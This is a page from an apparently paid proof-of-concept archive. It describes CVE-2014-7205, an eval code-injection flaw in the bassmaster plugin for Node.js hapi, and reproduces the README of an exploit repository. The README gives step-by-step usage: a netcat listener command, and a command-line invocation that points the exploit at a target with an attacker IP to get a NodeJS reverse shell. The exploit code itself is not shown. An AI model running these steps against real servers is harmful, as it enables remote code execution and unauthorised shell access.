Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2014-7205 PoC — hapi server framework for Node.js bassmaster插件代码注入漏洞

Source
Associated Vulnerability
Title: hapi server framework for Node.js bassmaster插件代码注入漏洞 (CVE-2014-7205)
Description:Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for the hapi server framework for Node.js allows remote attackers to execute arbitrary Javascript code via unspecified vectors.
Description
Bassmaster Plugin NodeJS RCE
Readme
# Bassmaster NodeJS Plugin RCE PoC 

 bassmaster-rce.py: A Python script to exploit CVE-2014-7205.
 nodeshell.py: A Python module to generate a reverse shell for NodeJS 

**!!Only use against servers on which you have permission to test**

## Summary
 CVE-2014-7205 is a Remote Code Execution vulnerability in Bassmaster Plugin for
 NodeJS. All versions <= 1.5.1 are affected. The vulnerability exist within the
 lib/batch.js file in the internals.batch function where a call to eval() uses
 improperly escaped user input (basically the regex doesn't check if the requests
 contains malicious code).

## Proof of Concept
1. Download or clone git repo
2. Open a netcat listener in bash terminal 
   `nc -lvp 4444`
3. Make sure bassmaster-rce.py and nodeshell.py are in the same folder
4. Run bassmaster-rce.py 
   `python3 bassmaster-rce.py -u http://target -p 8080 -l attacker.ip -P 4444`

## Other
* nodeshell.py is fully portable to other PoCs and Exploits using python which 
also need to generate a reverse shell for NodeJS
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →